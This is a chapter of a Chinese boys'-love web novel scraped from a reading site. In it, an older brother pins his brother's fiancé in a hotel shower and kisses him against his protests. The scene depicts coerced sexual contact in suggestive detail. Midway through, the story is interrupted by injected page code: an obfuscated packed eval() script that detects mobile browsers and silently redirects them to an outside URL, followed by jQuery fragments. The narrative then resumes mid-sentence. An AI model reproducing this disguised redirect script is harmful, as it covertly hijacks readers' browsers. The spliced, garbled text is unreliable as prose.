123读书网 > 都市小说 > 未婚夫他大哥在钓我? > 11.第 11 章
    淋浴房。


    云纹大理石墙壁,又冷又硬。


    岑雪融滚烫的皮肤被压上去时,打了个轻颤。


    他的手掌用力撑住墙,头也没回地挣扎了下,低声道:“松开我!”


    双膝却被身后结实有力的长腿强行顶开。


    他没站稳,差点一屁股坐上容恪远的大腿。


    一只宽大手掌盖住他修长单薄的手掌。


    岑雪融的瞳孔狠狠一缩,下意识地用力掀他的手,谁知骨节分明的手指骤然严丝合缝地嵌进他的指间。


    一瞬间,细腻肌肤感知到动作粗暴,令他灵魂震颤,指尖酥麻,几欲蜷缩。


    明明他硬着脊骨在抵抗,膝盖却无声无息地背叛他的理智,软了下去。


    随着腰上铁钳一样的胳膊越收越紧,他瞪大眼眸,眼睁睁地被身后的人贴抱住。


    前胸贴后背,心跳声混合成交响乐。


    身高相差超过十公分,这是一个堪称教科书级别的完美后背式拥抱。


    美中不足,不是在床上。


    岑雪融当然知道这个姿势多么危险,一拽裤子就能直接顶进来的程度。


    他紧张得胸腔起伏,要回头时,却感受到身后的人俯首。


    容恪远的鼻尖慢慢地蹭过他的耳尖,岑雪融惊得一下子贴向面前的墙面。


    过度急促的喘气,热气一次次地喷在大理石面上。


    高端酒店的淋浴房,空间巨大,然而却像是有人突然打开暖气功能。


    岑雪融的唇瓣红得要滴血,也软的像是要化了,叫人想要含着舔一舔。


    容恪远的鼻背,暧昧地勾了一下他的耳垂。


    岑雪融启唇,几欲轻喘。


    他被自己满是情.欲的反应惊得口不择言:“恪,恪明还在外面等我!我们……我们一会儿有安排!”


    嗓音沙哑,言语间喘着气。


    身体烫得轻微发抖,试图收回的手,总是被另一股力道狠狠地拽回去。


    更要命的是,随着他每一次试探性的反抗,腰上的手就更桎梏一分。


    岑雪融快要被他按进胸腔与骨血之中。


    盘根错节的欲望,毫无羞耻,肆意地钻出潮湿松软的土壤。


    像是藤蔓,又像是触手,混乱扭动,湿哒哒地缠绕住两个人。


    在岑雪融处于混沌中,即将被欲念淹没时,容恪远的语气却显得冷静又缓慢,一副玩弄人心的姿态:“Ethan,心跳这么快。”


    是肯定句。


    毫无来由,岑雪融皱了下眉。


    本能先于理智地讨厌他稍显玩味的语气。


    或许是此刻,不被满足欲望,情绪已变得烦躁不安,一点点的触发,都能令他不痛快。


    他张了张干燥的唇,冷飕飕地道:“运动完的心悸而已。”


    好胜心来的莫名其妙。


    顿了顿,他补充,“你不也一样?”


    容恪远细细品着他的话。


    微妙的不痛快,丝线般细小的埋怨,或者是……暧昧的迁怒。


    一种可以轻易令他欲望骤起的语气。


    他的身体猛的往前压,几乎把人逼到墙面。


    “额!”


    岑雪融毫无设防,喉间泄露出压抑的轻呼,往后抵挡的同时,后腰却明晃晃地蹭到了什么。


    他瞳孔放大,轰然的雷声砸进耳中般,惊愕地盯着大理石的纹路。


    一定是运动过后充血的缘故。


    必定是这样的!


    但紧随其后,他的感官事无巨细地反馈了形状,热度,硬度……


    岑雪融视死如归般闭上眼睛。


    ——又烫又硬。


    算了,他咬唇睁开眼。


    ——又长又粗。


    他们在床上有多默契,简直不需要多思考。


    如果世界上没有道德,如果他本人没有理智的话,可能已经疯狂地说出那两个字。


    岑雪融启唇又闭紧。


    真怕自己开口说得话特别难听。


    他可以对任何人破口大骂,唯独容恪远例外。


    缓了缓,他才找回一丝冷静和理智,低声质问:“你不管你弟弟了吗?”


    容恪远:“上周你去东京前约会过?”


    岑雪融不假思索:“是啊。”


    容恪远:“在顾姓的演员公寓?一起留宿?”


    岑雪融:“……”


    哦,一定是容恪明的小情人。


    ——这头猪!


    岑雪融装傻反问:“你说什么?”


    容恪远卡在他腰上的手掌重重地摩挲一侧腰线,感受怀里人屏息、挺腰、打着颤地瑟缩,又不得不压抑轻哼。


    岑雪融无法克制地吞咽,若不是情况不允许他可能会启唇咬住什么,或者舔/弄什么。


    别说脸颊、耳根,他的喉结、锁骨都已经遍布情.欲的红痕。


    他总像是未经人事、经不起一丁点挑逗撩拨的处子。


    但容恪远却没有因此而停下,手掌已经越过衣摆,刚握过球拍、擦拭过的掌心重重地揉过细嫩柔软的皮肤。


    毫无例外,岑雪融起了反应。


    他悄悄地贴住墙。


    试图物理冷却。


    容恪远重新拉回话题:“恪明没告诉过你,姓顾的演员?”


    岑雪融不知道他到底怎么想的,又怕他做出更出格的事情。


    “我知道他有其他人。但,我不在乎。”


    半秒钟后,他咬着牙说,“我喜欢他。啊!”腰被狠狠掐住,疼得他整个人往后坐。


    “嗯。”容恪远发出一声撩人的闷哼。


    听得岑雪融耳膜震动,随后是濒临缺氧的鱼儿般挣扎扑腾起:“放开我!”


    或许是潜意识里“搞砸一切”的冲动作祟,他连番低声道,“我就是喜欢他,喜欢得不得了!”


    容恪远掐着他的腰,狠狠地转过一圈。


    岑雪融的后背靠上墙,死死地盯着他漆黑神秘又森森然的双眸。


    若是换了别人,叫这双狭长眼帘如此不带温度地看着,早就已经心生畏惧。


    但岑雪融却越发肆无忌惮:“你不能阻止我喜欢他!你是他大哥!”


    容恪远忍无可忍,阴沉着脸,宛若猛兽袭击猎物般,虎视眈眈地俯首靠过去。


    岑雪融快速抬起一只手推他,却被握住手腕。


    容恪远单手握住两只细窄的手腕,往上拉到头顶按在墙上。


    这个姿势格外熟悉。


    在那一个月里,他们分别在客房门后、镜子前、以及床上都做过。


    岑雪融盯着他喉结旁的小痣,不争气地挺腰迎了一下。


    就这一下,容恪远狠狠地吻住他的唇。


    “唔!”岑雪融扭头试图避开,但被容恪远的右手掌控制住侧脸。


    他死死闭着唇。


    鼻息的呼吸被放大,像是一阵阵潮热鼓噪的风。


    容恪远看似来势汹汹,动作却异常温柔。


    事实上。


    昨天在直升飞机上,他就想这么做。


    岑雪融周身酥酥麻麻,头晕目眩,眼前仿佛银白碎片闪过,如时间与空间同时飞逝倒流,回到那些疯狂的夜晚。


    身体、心里滋生出松开牙关、盛情邀请、缠绵回应的疯狂念头。


    不得已,理智只能暂时扮演“诈骗犯”:


    只是口欲症作祟罢了。


    但这种过度温柔的缠绵实在是折磨人。


    他说不上来自己是享受还是烦躁,闷闷地发出“呜呜”声试图让容恪远退开。


    可惜,换来的是容恪远用拇指顶进他的牙关。


    指尖触及湿润的舌尖时,岑雪融终于狠下心做了昨天应该做的事情,用力咬下去。


    指关节的痛感让容恪远皱眉。


    两人神色晦涩地盯着彼此。


    如永远无法和解的仇人一般。


    容恪远这辈子遇到过很多嘴硬的人,但的确第一回遇到嘴软心硬的人。


    但,岑雪融率先松开牙关,慢慢地张开唇,抬起下巴,做出相迎的动作。


    “对不起,我不该咬疼你。”


    容恪远的拇指还卡在他的口中,因此话语有点含糊,湿软的舌尖一动一动。


    他的神色显出几分委屈巴巴,天生润泽的眼眸透着雾气水光般。


    像是知道错了的学生,准备乖乖领受老师的责罚。


    诚如容家长辈所说,岑雪融长


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823300|190197||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得实在是太乖了,性格也软和。


    他口中道歉,眼中求饶,没有一个人会继续为难责怪他。


    容恪远慢慢抽出拇指,掌心在他脸侧蹭了一下,好似在安慰。


    岑雪融对他的感知比别人要敏锐得多,哪能没有察觉,头顶的手也稍微动了下。


    几乎是此生仅有的,他鼓了下脸颊,孩子气地问:“我们可不可以好好说话?”


    嗓音简直堪称甜软。


    容恪远的拇指重重扫过他的手背,松开了手。


    “疼了?”


    岑雪融未置可否地嘟嘴,垂眸看向泛红的手腕,细长的黑色睫毛盖住眸色,轻微地转动手腕。


    两人贴得太近,空间不够大。


    容恪远稍稍往后退一步。


    下一秒,岑雪融瞅准时机猛的抬手推他的胸膛,呲溜一下开了旁边的门蹿出去。


    距离很近,容恪远若是出手,是可以拽住他的胳膊。


    但潜意识出现危险预警,他没有真的动手。


    成熟沉稳如他,也是难得失语,只能目送岑雪融跑进另一间独立淋浴房,语气森然地问:“这就是你说的,好好说话?”


    回应他的,是稀里哗啦地水流声。


    几秒种后,容恪远狭长的眼帘,往下扫了眼。


    与此同时,岑雪融也低头看了看身体。


    还好刚才又是物理冷却,又是说别的事情岔开思路,否则还真的要跟容恪远“硬碰硬”。


    他应该也发现了吧?


    算了。


    岑雪融装傻。


    至于“谈谈”?


    他闭紧眼眸,仰头迎着从上而下的水线,任由冲刷。


    他历经痛苦艰辛,笨拙地用“精美贴纸”遮盖住千疮百孔的过去、家庭。


    经年累月,最终让自己看起来如此正常,甚至在国外不少朋友/同学的眼里,他是出身于中产阶层、备受父母疼爱的小儿子。


    这个世界上,没有人可以揭开这些“贴纸”。


    岑雪融光在脑海中想象容恪远进入自己的家庭,便惊惧痛苦地睫毛打颤。


    他惊惧地发现,哪怕是换另一个人,都好过容恪远。


    至少他的内心会好受很多。


    可能不在乎吧。


    不在乎对方,所以也无所谓对方如何看待烙印在他生命里无可痊愈的“丑陋疤痕”。


    而容恪远……


    时至今日,岑雪融必须承认:


    容恪远,的确是他人生中的独一无二。


    思绪混乱间,他低头抹掉眼睛上的水液,雾蒙蒙的水汽里,难过地瘪瘪嘴。


    不过他向来不允许自己停留在负面情绪里太久,一边不停地揉擦皮肤直至泛红,一边嘀嘀咕咕自言自语:“难过个屁啊!”


    人生自有主线,哪怕一次脱轨,也要立刻回到正轨。


    “有什么过不去的呢?开心点!”


    “就是性.欲而已,谁没有呢?”


    “嗯。”


    “我爱洗澡,皮肤好好~~~”


    在哗啦畅快的淋浴水声中,岑雪融哼着卡通小调,一如过去十几二十年,已经顺利安抚好自己。


    外面的声音传来时,他恢复如常。


    容恪明:“我说,你洗澡也不说一声?我还在等你呢。”


    岑雪融按上开关:“你来得正好,麻烦你联系客房的人,送一套干净衣服过来。”


    容恪明冷哼:“我大哥刚才跟我说了,在来的路上。”


    他忍不住吐槽,“你是真的不把自己当外人啊?”


    岑雪融套上浴袍,拿干毛巾擦拭头发,装傻充愣:“什么意思?要跟我一起洗澡?”


    容恪明无语:“你他妈的真是……”


    岑雪融预计容恪远已经先行离开。


    隔着门,他走来走去:“外面没人吧?”


    容恪明:“怎么说?”


    岑雪融听声辨位,确认他的方位,走到门后的对应位置,深吸一口气:“容恪明,你这头猪!!!!!!!!!!”


    容恪明吓一跳,斯文尽失地弹开一步。


    “你他妈的是不是有病?!”


    岑雪融扶着墙爆笑,直至眼角湿润。